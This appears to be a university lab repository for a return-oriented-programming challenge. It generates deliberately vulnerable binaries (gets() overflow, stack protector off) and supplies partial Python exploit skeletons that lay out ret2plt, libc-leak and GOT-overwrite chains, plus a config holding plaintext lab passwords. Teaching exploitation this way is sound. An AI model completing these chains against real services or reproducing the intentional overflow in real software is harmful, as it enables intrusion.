├── .gitignore ├── README ├── TODO ├── config ├── README ├── bootstrap.sh ├── cookbook.rb.erb ├── rop.yml └── vuln.xinetd ├── generate ├── definitions.py ├── generate.py └── run.sh └── skeletons ├── README ├── pwn-easy.py ├── pwn-hard.py └── pwn-medium.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | *.swp 3 | out.c 4 | vuln 5 | -------------------------------------------------------------------------------- /README: -------------------------------------------------------------------------------- 1 | This challenge aims to generate slightly different vulnerable binaries 2 | on each run. The purpose of this is to serve as a gentle introduction to 3 | modern-day exploitation techniques and binary analysis. 4 | 5 | Each binary generated only differs slightly. Binaries may differ in the 6 | number of routines, the size of stack buffers, the number of global variables, 7 | the number and locations of various PLT entries, and the number and 8 | locations of various locally defined functions. The vulnerability and code 9 | path to the vulnerable code does not differ among generations. 10 | 11 | Additionally each student is given a skeleton exploit which triggers the 12 | vulnerability and lays out the stages of a successful rop chain. The script 13 | comes incomplete, however, and will not successfully spawn a remote shell. 14 | Students will have to analyze the binary as well as understand the intentions 15 | of the exploit to complete the script and reliably drop a remote shell on 16 | their target server. 17 | 18 | Things a student may have to do to complete the exploit include determining 19 | stack buffer sizes, finding rop gadgets, determining the addresses of user 20 | input, determining the addresses of PLT stubs and GOT entries. 21 | 22 | Once a student has completed the challenge and dropped a remote shell, they 23 | should read the file 'flag' off the server and submit it for points. 24 | 25 | Each student in the class should receive a slightly different binary as well 26 | as the address of a dedicated vulnerable server hosting their binary. 27 | 28 | This challenge was built for the Edurange project. 29 | 30 | Prerequisites: 31 | Students should have a basic understanding of C programming, Unix I/O, and 32 | buffer overflow vulnerabilities. 33 | -------------------------------------------------------------------------------- /TODO: -------------------------------------------------------------------------------- 1 | Provide exploit skeletons in Python and Ruby 2 | -------------------------------------------------------------------------------- /config/README: -------------------------------------------------------------------------------- 1 | Edurange Configuration files go here. 2 | 3 | 4 | -------------------------------------------------------------------------------- /config/bootstrap.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # make vulnuser 4 | mkdir /home/vulnuser 5 | useradd -d /home/vulnuser vulnuser 6 | chown -R root:vulnuser /home/vulnuser 7 | chmod 750 /home/vulnuser 8 | 9 | # configure vulnuser and flag 10 | cd /tmp/challenge-files 11 | /tmp/challenge-files/generate/generate.py easy 12 | 13 | # configure the vulnerable binary 14 | cp /tmp/challenge-files/vuln /home/vulnuser/ 15 | chown root:vulnuser /home/vulnuser/vuln 16 | chmod 750 /home/vulnuser/vuln 17 | 18 | # configure the flag 19 | echo "flag{congrats, this should be randomly generated in the future}" > /home/vulnuser/flag 20 | chown root:vulnuser /home/vulnuser/flag 21 | chmod 640 /home/vulnuser/flag 22 | 23 | # place xinetd config files 24 | cp /tmp/challenge-files/config/vuln.xinetd /etc/xinetd.d/vuln 25 | 26 | # drop the vulnerable binary into the user's directory 27 | cp /tmp/challenge-files/vuln /home/student 28 | 29 | # drop the exploit skeleton into the home directory 30 | cp /tmp/challenge-files/skeletons/pwn-easy.py /home/student/ 31 | 32 | # copy libc into the directory for beginners 33 | cp /lib/i386-linux-gnu/libc.so.6 . 34 | 35 | # remove the build scripts 36 | rm -rf /tmp/challenge-files 37 | 38 | # restart xinetd to get the service running 39 | service xinetd restart 40 | -------------------------------------------------------------------------------- /config/cookbook.rb.erb: -------------------------------------------------------------------------------- 1 | script "install_rop" do 2 | interpreter "bash" 3 | user "root" 4 | cwd "/tmp" 5 | 6 | code <<-EOH 7 | git clone https://github.com/nickstephens/rop-edurange.git challenge-files 8 | /tmp/challenge-files/config/bootstrap.sh 9 | touch /tmp/test-file 10 | EOH 11 | 12 | not_if "test -e /tmp/test-file" 13 | end 14 | -------------------------------------------------------------------------------- /config/rop.yml: -------------------------------------------------------------------------------- 1 | Roles: 2 | - Name: NAT 3 | Packages: 4 | - gdb 5 | - git 6 | - nasm 7 | - xinetd 8 | - vim 9 | - emacs 10 | - gcc-multilib 11 | Recipes: 12 | - sshd_password_login 13 | 14 | Groups: 15 | - Name: Instructor 16 | Access: 17 | Administrator: 18 | - NAT_Instance 19 | User: 20 | - NAT_Instance 21 | Users: 22 | - Login: instructor 23 | Password: vLCu3Crf 24 | 25 | - Name: Students 26 | Access: 27 | User: 28 | - NAT_Instance 29 | Users: 30 | - Login: student 31 | Password: sWfwkNGblfv 32 | Description: Describe this Player 33 | 34 | Scenarios: 35 | - Name: ROP 36 | Description: "This game teaches the basics of binary analysis and advanced exploitation techniques. It provides the player with a slightly different vulnerable binary on each play. Additionally the player is provided with a skeleton exploit for the binary. This exploit will lay out the steps necessary for successful exploitation, but comes incomplete. It is up to the student to analyze the vulnerable binary and fill in the missing pieces." 37 | Instructions: None yet 38 | 39 | Clouds: 40 | - Name: Cloud_1 41 | CIDR_Block: 10.0.0.0/16 42 | Scenario: ROP 43 | 44 | Subnets: 45 | - Name: NAT_Subnet 46 | Cloud: Cloud_1 47 | CIDR_Block: 10.0.129.0/24 48 | Internet_Accessible: true 49 | 50 | Instances: 51 | - Name: NAT_Instance 52 | Subnet: NAT_Subnet 53 | OS: ubuntu 54 | IP_Address: 10.0.129.5 55 | Internet_Accessible: true 56 | Roles: 57 | - NAT 58 | -------------------------------------------------------------------------------- /config/vuln.xinetd: -------------------------------------------------------------------------------- 1 | service vuln 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = vulnuser 8 | bind = 0.0.0.0 9 | server = /home/vulnuser/vuln 10 | type = UNLISTED 11 | port = 3000 12 | } 13 | 14 | -------------------------------------------------------------------------------- /generate/definitions.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | ''' 4 | This file contains function definitions for the vulnerable binary. 5 | ''' 6 | 7 | preamble =\ 8 | """ 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | ssize_t sendstr(char *s); 23 | ssize_t readlen(int fd, char *buf, size_t n); 24 | void get_name(void); 25 | void get_bio(void); 26 | int main(void); 27 | """ 28 | 29 | ''' the vulnerable function ''' 30 | vulnfunc =\ 31 | """ 32 | void get_bio(void) 33 | { 34 | char bio[%u]; 35 | 36 | sendstr("Please give me a biography:\\n"); 37 | gets(bio); 38 | 39 | sendstr("\\n"); 40 | sendstr("New entry!\\n"); 41 | printf("%%s:\\n%%s\\n", name, bio); 42 | } 43 | """ 44 | 45 | ''' the vulnerable function, which clears the bss''' 46 | hard_vulnfunc =\ 47 | """ 48 | void get_bio(void) 49 | { 50 | char bio[%u]; 51 | 52 | sendstr("Please give me a biography:\\n"); 53 | gets(bio); 54 | 55 | sendstr("\\n"); 56 | sendstr("New entry!\\n"); 57 | printf("%%s:\\n%%s\\n", name, bio); 58 | memset(name, 0, 20); 59 | } 60 | """ 61 | 62 | routines ={\ 63 | 'sendstr':\ 64 | """ 65 | ssize_t sendstr(char *s) 66 | { 67 | write(1, s, strlen(s)); 68 | } 69 | """, 70 | 'readlen':\ 71 | """ 72 | ssize_t readlen(int fd, char *buf, size_t n) { 73 | ssize_t rc; 74 | size_t nread = 0; 75 | char c; 76 | while (nread < n) { 77 | rc = read(fd, &c, 1); 78 | if (rc == -1) { 79 | if (errno == EAGAIN || errno == EINTR) { 80 | continue; 81 | } 82 | return -1; 83 | } 84 | if (rc == 0) { 85 | break; 86 | } 87 | if (c == '\\n') 88 | { 89 | break; 90 | } 91 | *(buf + nread) = c; 92 | nread += rc; 93 | } 94 | return nread; 95 | } 96 | """, 97 | 'get_name':\ 98 | """ 99 | void get_name(void) 100 | { 101 | printf("Please give me a name for this biography entry: "); 102 | 103 | if(readlen(0, name, sizeof(name)) < 0) 104 | { 105 | sendstr("[-] read failed somehow, try again.\\n"); 106 | } 107 | } 108 | """, 109 | 'main':\ 110 | """ 111 | int main(void) 112 | { 113 | setvbuf(stdin, NULL, _IONBF, 0); 114 | setvbuf(stdout, NULL, _IONBF, 0); 115 | 116 | sendstr("Welcome to the terminal based biography app!\\n"); 117 | sendstr("Written in C for speed!\\n\\n"); 118 | 119 | get_name(); 120 | get_bio(); 121 | } 122 | """} 123 | 124 | 125 | ''' routines which are not called, but add entropy to the binary ''' 126 | bloat = [\ 127 | """ 128 | void list_entries(char *entry) 129 | { 130 | char lname[40]; 131 | char bio[80]; 132 | 133 | sendstr("[-] not supported.\\n"); 134 | } 135 | """, 136 | """ 137 | char *allocate_entry(char *ename, char *bio) 138 | { 139 | char *mentry; 140 | 141 | mentry = malloc(20 + 80); 142 | if (mentry == NULL) 143 | { 144 | perror("malloc"); 145 | return NULL; 146 | } 147 | 148 | strcpy(mentry, ename); 149 | strcat(mentry, ": "); 150 | strcat(mentry, bio); 151 | 152 | return mentry; 153 | } 154 | """, 155 | """ 156 | int store_entry(char *ename, char *bio) 157 | { 158 | int fd; 159 | 160 | fd = open("./bios", O_APPEND|O_CREAT, 0644); 161 | if (fd < 0) 162 | { 163 | perror("open"); 164 | return 1; 165 | } 166 | 167 | write(fd, ename, strlen(ename)); 168 | write(fd, bio, strlen(bio)); 169 | 170 | return 0; 171 | } 172 | """ 173 | ] 174 | 175 | libcfuncs =\ 176 | [\ 177 | "open(\"\", 0);", 178 | "close(0);", 179 | "strfry((char *)0);" 180 | "memfrob((char *)0, 0);" 181 | "strncpy((char *)0,(char *)0, 0);", 182 | "sprintf((char *)0,\"\");", 183 | "time(0);", 184 | "wait((void *)0);", 185 | "signal(0,(void *)0);"\ 186 | ] 187 | 188 | ckeywords =\ 189 | [\ 190 | "auto", 191 | "break", 192 | "case", 193 | "char", 194 | "const", 195 | "continue", 196 | "default", 197 | "do", 198 | "double", 199 | "else", 200 | "enum", 201 | "extern", 202 | "float", 203 | "for", 204 | "goto", 205 | "if", 206 | "int", 207 | "long", 208 | "register", 209 | "return", 210 | "short", 211 | "signed", 212 | "sizeof", 213 | "static", 214 | "struct", 215 | "switch", 216 | "typedef", 217 | "union", 218 | "unsigned", 219 | "void", 220 | "volatile", 221 | "while"\ 222 | ] 223 | -------------------------------------------------------------------------------- /generate/generate.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | import os 5 | import random 6 | import string 7 | from definitions import * 8 | 9 | ''' 10 | This scripts attempts to generate a slightly differnt vulnerable binary 11 | each time. The vulnerability will stay consistent, but changes will be 12 | made that require tweaks to the exploit. 13 | ''' 14 | 15 | def random_string(n): 16 | ''' 17 | generate a random string of length n. 18 | ''' 19 | 20 | return ''.join(random.choice(string.letters) for _ in range(n)) 21 | 22 | def generate_globals(n, necessary=[]): 23 | ''' 24 | generate a number of globals. 25 | ''' 26 | 27 | out = "" 28 | 29 | for df in necessary: 30 | out += df + "\n" 31 | 32 | for i in range(n): 33 | valid = False 34 | while (not valid): 35 | valid = True 36 | var = random_string(random.randint(0,10)+1) 37 | for n in necessary: 38 | if var in n: 39 | valid = False 40 | if var in ckeywords: 41 | valid = False 42 | out += "char %s[%d];\n" % (var, (random.randint(0,10)+1)*16) 43 | 44 | return out 45 | 46 | def generate_plt(necessary=[]): 47 | ''' 48 | generates a function to populate the PLT in a random order. 49 | necessary is a list of libc function calls which will be included in addition 50 | to those randomly picked from libcfuncs. 51 | ''' 52 | 53 | 54 | out = "void init_plt(void)\n" 55 | out += "{\n" 56 | 57 | maxf = len(libcfuncs) 58 | random.shuffle(libcfuncs) 59 | for i in range(random.randint(0,maxf)): 60 | out += libcfuncs[i] + "\n" 61 | 62 | for f in necessary: 63 | out += f + "\n" 64 | 65 | out += "}" 66 | 67 | return out 68 | 69 | def generate_easy_vulnfunc(): 70 | ''' 71 | generate the vulnerable function. at this point this just determines the buffersize. 72 | ''' 73 | 74 | return vulnfunc % (random.randint(3, 15)*16) 75 | 76 | def generate_hard_vulnfunc(): 77 | ''' 78 | generate the vulnerable function. at this point this just determines the buffersize. 79 | ''' 80 | 81 | return hard_vulnfunc % (random.randint(0x10, 0x201)) 82 | 83 | def generate_easy(): 84 | ''' 85 | generates a 'easy' difficulty binary. 86 | it gives the attacker a nice place to store data in the bss 87 | it gives the attacker a way to call system directly through the plt. 88 | ''' 89 | 90 | out = "" 91 | 92 | out += preamble 93 | # generate globals 94 | # if easy or medium, must include name 95 | glbls = generate_globals(random.randint(0, 5), ["char name[20];"]) 96 | out += glbls 97 | 98 | # if easy must include system 99 | plt = generate_plt(["system(\"\");"]) 100 | out += plt 101 | 102 | vuln = generate_easy_vulnfunc() 103 | 104 | codes = routines.values() 105 | codes.append(vuln) 106 | 107 | # see if we add any bloat 108 | bloatcnt = random.randint(0,len(bloat)) 109 | random.shuffle(bloat) 110 | 111 | for i in range(bloatcnt): 112 | codes.append(bloat[i]) 113 | 114 | random.shuffle(codes) 115 | for code in codes: 116 | out += code 117 | 118 | return out 119 | 120 | def generate_medium(): 121 | ''' 122 | generates a 'medium' difficulty binary. 123 | it gives the attacker a nice place to store data in the bss 124 | the attacker has to call system themself, there is no system symbol in the binary 125 | ''' 126 | 127 | out = "" 128 | 129 | out += preamble 130 | # generate globals 131 | glbls = generate_globals(random.randint(0, 5), ["char name[20];"]) 132 | out += glbls 133 | 134 | plt = generate_plt([]) 135 | out += plt 136 | 137 | vuln = generate_easy_vulnfunc() 138 | 139 | codes = routines.values() 140 | codes.append(vuln) 141 | 142 | # see if we add any bloat 143 | bloatcnt = random.randint(0,len(bloat)) 144 | random.shuffle(bloat) 145 | 146 | for i in range(bloatcnt): 147 | codes.append(bloat[i]) 148 | 149 | random.shuffle(codes) 150 | for code in codes: 151 | out += code 152 | 153 | return out 154 | 155 | def generate_hard(): 156 | ''' 157 | generates a 'hard' difficulty binary. 158 | the attacker has no known address where user input is copied 159 | the attacker has to call system themself, there is no system symbol in the binary 160 | ''' 161 | 162 | out = "" 163 | 164 | out += preamble 165 | # generate globals 166 | glbls = generate_globals(random.randint(0, 5), ["char name[20];"]) 167 | out += glbls 168 | 169 | plt = generate_plt() 170 | out += plt 171 | 172 | vuln = generate_hard_vulnfunc() 173 | 174 | codes = routines.values() 175 | codes.append(vuln) 176 | 177 | # see if we add any bloat 178 | bloatcnt = random.randint(0,len(bloat)) 179 | random.shuffle(bloat) 180 | 181 | for i in range(bloatcnt): 182 | codes.append(bloat[i]) 183 | 184 | random.shuffle(codes) 185 | for code in codes: 186 | out += code 187 | 188 | return out 189 | 190 | # only generates easy for the time being 191 | def main(argc, argv): 192 | 193 | difficulty = 'easy' 194 | 195 | f = open("out.c", "w"); 196 | 197 | if (argc > 1): 198 | difficulty = argv[1] 199 | 200 | if difficulty == 'easy': 201 | code = generate_easy() 202 | elif difficulty == 'medium': 203 | code = generate_medium() 204 | elif difficulty == 'hard': 205 | code = generate_hard() 206 | else: 207 | print "[-] unrecognized difficulty, defaulting to easy" 208 | 209 | print code 210 | f.write(code) 211 | 212 | f.close() 213 | 214 | os.system("gcc -fno-stack-protector -m32 -o vuln out.c") 215 | 216 | if __name__ == "__main__": 217 | main(len(sys.argv), sys.argv) 218 | -------------------------------------------------------------------------------- /generate/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | socat TCP-LISTEN:3000,reuseaddr,fork,bind=localhost EXEC:"./vuln" 4 | -------------------------------------------------------------------------------- /skeletons/README: -------------------------------------------------------------------------------- 1 | This directory contains skeleton exploits for the three 2 | variations of the rop challenge, easy, medium, and hard 3 | 4 | 5 | -------------------------------------------------------------------------------- /skeletons/pwn-easy.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # ROP - EASY - SKELETON EXPLOIT 4 | 5 | import socket 6 | import struct 7 | import telnetlib 8 | 9 | # address of system in the PLT 10 | system_plt = 0x0 # FIXME 11 | 12 | # address of the name buffer holding our command 13 | namebuf_bss = 0x0 #FIXME 14 | 15 | # the command we're passing to system 16 | command = "" #FIXME 17 | 18 | # the length of the stack buffer we're overflowing + the size of the saved ebp 19 | paddinglength = 0x400 #FIXME 20 | 21 | p = lambda v: struct.pack(" 0 and debug: 37 | print c.encode('hex') 38 | buf += c 39 | 40 | return buf 41 | 42 | s = socket.create_connection(("localhost", 3000)) 43 | 44 | # we get asked for a name here 45 | 46 | runtil(": ") 47 | 48 | # the name is placed into a global buffer, unaffected by ASLR 49 | # we'll use this space to store a command we pass to system 50 | 51 | s.send(command + "\n") 52 | 53 | # now we are asked for a bio. this is where the vulnerability exists 54 | # as there is no limit to how much data we can send. this data is stored 55 | # on the stack and we can overflow this buffer to overwrite the saved 56 | # return address 57 | 58 | runtil(":\n") 59 | 60 | # Our binary is protected by NX pages and ASLR. This means we cannot 61 | # execute data on the stack, like a traditional (read: oldschool) 62 | # stacksmashing attack. Additionally because of ASLR we do not know 63 | # at what address our stack is placed at. We'll use ROP (return-oriented programming) 64 | # to bypass both of these defenses 65 | 66 | payload = "A"*paddinglength # padding up to the saved return address 67 | payload += p(system_plt) 68 | payload += "JUNK" 69 | payload += p(namebuf_bss) 70 | 71 | # send our chain to smash the stack and return to system with namebuf as an arg 72 | s.send(payload + "\n") 73 | 74 | interact() 75 | -------------------------------------------------------------------------------- /skeletons/pwn-hard.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # ROP - HARD - SKELETON EXPLOIT 4 | 5 | import socket 6 | import struct 7 | import telnetlib 8 | import time 9 | 10 | # address of the name buffer holding our command 11 | namebuf_bss = 0x0 #FIXME 12 | 13 | # the command we're passing to system 14 | command = "" #FIXME 15 | 16 | # the length of the stack buffer we're overflowing + the size of the saved ebp 17 | paddinglength = 0x400 #FIXME 18 | 19 | # offset of the function setvbuf in target's libc 20 | libc_setvbuf_off = 0x0 #FIXME 21 | 22 | # offset of the function system in target's libc 23 | libc_system_off = 0x0 #FIXME 24 | 25 | # address of the got entry for setvbuf 26 | setvbuf_got = 0x0 #FIXME 27 | 28 | # address of the function write's plt stub 29 | write_plt = 0x0 #FIXME 30 | 31 | # address of the function read's plt stub 32 | read_plt = 0x0 #FIXME 33 | 34 | # address of the function setvbuf's plt stub 35 | setvbuf_plt = 0x0 #FIXME 36 | 37 | # address of a pop pop pop ret gadget 38 | pppr = 0x0 #FIXME 39 | 40 | p = lambda v: struct.pack(" 0 and debug: 56 | print c.encode('hex') 57 | buf += c 58 | 59 | return buf 60 | 61 | s = socket.create_connection(("localhost", 3000)) 62 | 63 | # we get asked for a name here 64 | 65 | runtil(": ") 66 | 67 | # the name is placed into a global buffer, unaffected by ASLR 68 | # we'll use this space to store a command we pass to system 69 | 70 | s.send("rop me\n") 71 | 72 | # now we are asked for a bio. this is where the vulnerability exists 73 | # as there is no limit to how much data we can send. this data is stored 74 | # on the stack and we can overflow this buffer to overwrite the saved 75 | # return address 76 | 77 | runtil(":\n") 78 | 79 | # Our binary is protected by NX pages and ASLR. This means we cannot 80 | # execute data on the stack, like a traditional (read oldschool) 81 | # stacksmashing attack. Additionally because of ASLR we do not know 82 | # at what address our stack is placed at. We'll use ROP (return-oriented 83 | # programming) to bypass both of these defenses 84 | 85 | payload = "A"*paddinglength # padding up to the saved return address 86 | 87 | # leak a libc address 88 | payload += p(write_plt) # call write(1, setvbuf_got, 4) 89 | payload += p(pppr) # we return into pop pop pop ret 90 | # this clears the args to write, and allows us to chain 91 | # another call 92 | 93 | payload += p(1) # 1 is stdout's filedescriptor 94 | payload += p(setvbuf_got) # we're leaking the address of setvbuf in libc 95 | payload += p(4) # the address is 4 bytes 96 | 97 | # read in a new address over the GOT 98 | payload += p(read_plt) # call read(0, setvbuf_got, 4) 99 | payload += p(pppr) # return into pop pop pop ret 100 | payload += p(0) # 0 is stdin's filedescriptor 101 | payload += p(setvbuf_got) # we're writing over setvbuf's got entry 102 | payload += p(4) # the address is 4 bytes 103 | 104 | # read our command back into the bss, so we have an addressable string with 105 | # the command we want 106 | payload += p(read_plt) # call read(0, namebuf_bss, ) 107 | payload += p(pppr) # return into pop pop pop ret 108 | payload += p(0) # 0 is stdin's filedescriptor 109 | payload += p(namebuf_bss) # we're writing to the bss, because we know it's 110 | #address 111 | payload += p(len(command)+1) # we know how much we want to read 112 | 113 | # at this point setvbuf will point to the address of system in the 114 | # target's copy of libc. all calls to setvbuf are actually calls to system. 115 | # call system using setvbuf's hijacked GOT entry 116 | payload += p(setvbuf_plt) # call system(name) 117 | payload += "JUNK" 118 | payload += p(namebuf_bss) 119 | 120 | # send our chain to smash the stack and return to system with namebuf as an arg 121 | s.send(payload + "\n") 122 | 123 | # give our payload enough time to execute 124 | time.sleep(1) 125 | 126 | # now we read in the setvbuf libc leak 127 | leak = s.recv(4096) 128 | 129 | # trim the leak, grabing the bytes, unpacking them and calculating libc's 130 | # base address 131 | libc_base = u(leak[-4:]) - libc_setvbuf_off 132 | 133 | # calculate the address of system in libc 134 | libc_system = libc_base + libc_system_off 135 | 136 | # send the setvbuf's new address over, writing over setvbuf's got entry 137 | s.send(p(libc_system)) 138 | 139 | # finally, send in the command we want to execute 140 | s.send(command) 141 | 142 | 143 | # a shell should now be dropped 144 | interact() 145 | -------------------------------------------------------------------------------- /skeletons/pwn-medium.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # ROP - MEDIUM - SKELETON EXPLOIT 4 | 5 | import socket 6 | import struct 7 | import telnetlib 8 | import time 9 | 10 | # address of the name buffer holding our command 11 | namebuf_bss = 0x0 #FIXME 12 | 13 | # the command we're passing to system 14 | command = "" #FIXME 15 | 16 | # the length of the stack buffer we're overflowing + the size of the saved ebp 17 | paddinglength = 0x400 #FIXME 18 | 19 | # offset of the function setvbuf in target's libc 20 | libc_setvbuf_off = 0x0 #FIXME 21 | 22 | # offset of the function system in target's libc 23 | libc_system_off = 0x0 #FIXME 24 | 25 | # address of the got entry for setvbuf 26 | setvbuf_got = 0x0 #FIXME 27 | 28 | # address of the function write's plt stub 29 | write_plt = 0x0 #FIXME 30 | 31 | # address of the function read's plt stub 32 | read_plt = 0x0 #FIXME 33 | 34 | # address of the function setvbuf's plt stub 35 | setvbuf_plt = 0x0 #FIXME 36 | 37 | # address of a pop pop pop ret gadget 38 | pppr = 0x0 #FIXME 39 | 40 | p = lambda v: struct.pack(" 0 and debug: 56 | print c.encode('hex') 57 | buf += c 58 | 59 | return buf 60 | 61 | s = socket.create_connection(("localhost", 3000)) 62 | 63 | # we get asked for a name here 64 | 65 | runtil(": ") 66 | 67 | # the name is placed into a global buffer, unaffected by ASLR 68 | # we'll use this space to store a command we pass to system 69 | 70 | s.send(command + "\n") 71 | 72 | # now we are asked for a bio. this is where the vulnerability exists 73 | # as there is no limit to how much data we can send. this data is stored 74 | # on the stack and we can overflow this buffer to overwrite the saved 75 | # return address 76 | 77 | runtil(":\n") 78 | 79 | # Our binary is protected by NX pages and ASLR. This means we cannot 80 | # execute data on the stack, like a traditional (read oldschool) 81 | # stacksmashing attack. Additionally because of ASLR we do not know 82 | # at what address our stack is placed at. We'll use ROP (return-oriented 83 | # programming) to bypass both of these defenses 84 | 85 | payload = "A"*paddinglength # padding up to the saved return address 86 | 87 | # leak a libc address 88 | payload += p(write_plt) # call write(1, setvbuf_got, 4) 89 | payload += p(pppr) # we return into pop pop pop ret 90 | # this clears the args to write, and allows us to chain 91 | # another call 92 | 93 | payload += p(1) # 1 is stdout's filedescriptor 94 | payload += p(setvbuf_got) # we're leaking the address of setvbuf in libc 95 | payload += p(4) # the address is 4 bytes 96 | 97 | # read in a new address over the GOT 98 | payload += p(read_plt) # call read(0, setvbuf_got, 4) 99 | payload += p(pppr) # return into pop pop pop ret 100 | payload += p(0) # 0 is stdin's filedescriptor 101 | payload += p(setvbuf_got) # we're writing over setvbuf's got entry 102 | payload += p(4) # the address is 4 bytes 103 | 104 | # at this point setvbuf will point to the address of system in the 105 | # target's copy of libc. all calls to setvbuf are actually calls to system. 106 | # call system using setvbuf's hijacked GOT entry 107 | payload += p(setvbuf_plt) # call system(name) 108 | payload += "JUNK" 109 | payload += p(namebuf_bss) 110 | 111 | # send our chain to smash the stack and return to system with namebuf as an arg 112 | s.send(payload + "\n") 113 | 114 | # give our payload enough time to execute 115 | time.sleep(1) 116 | 117 | # now we read in the setvbuf libc leak 118 | leak = s.recv(4096) 119 | 120 | # trim the leak, grabing the bytes, unpacking them and calculating libc's 121 | # base address 122 | libc_base = u(leak[-4:]) - libc_setvbuf_off 123 | 124 | # calculate the address of system in libc 125 | libc_system = libc_base + libc_system_off 126 | 127 | # send the setvbuf's new address over, writing over setvbuf's got entry 128 | s.send(p(libc_system)) 129 | 130 | # a shell should now be dropped 131 | interact() 132 | --------------------------------------------------------------------------------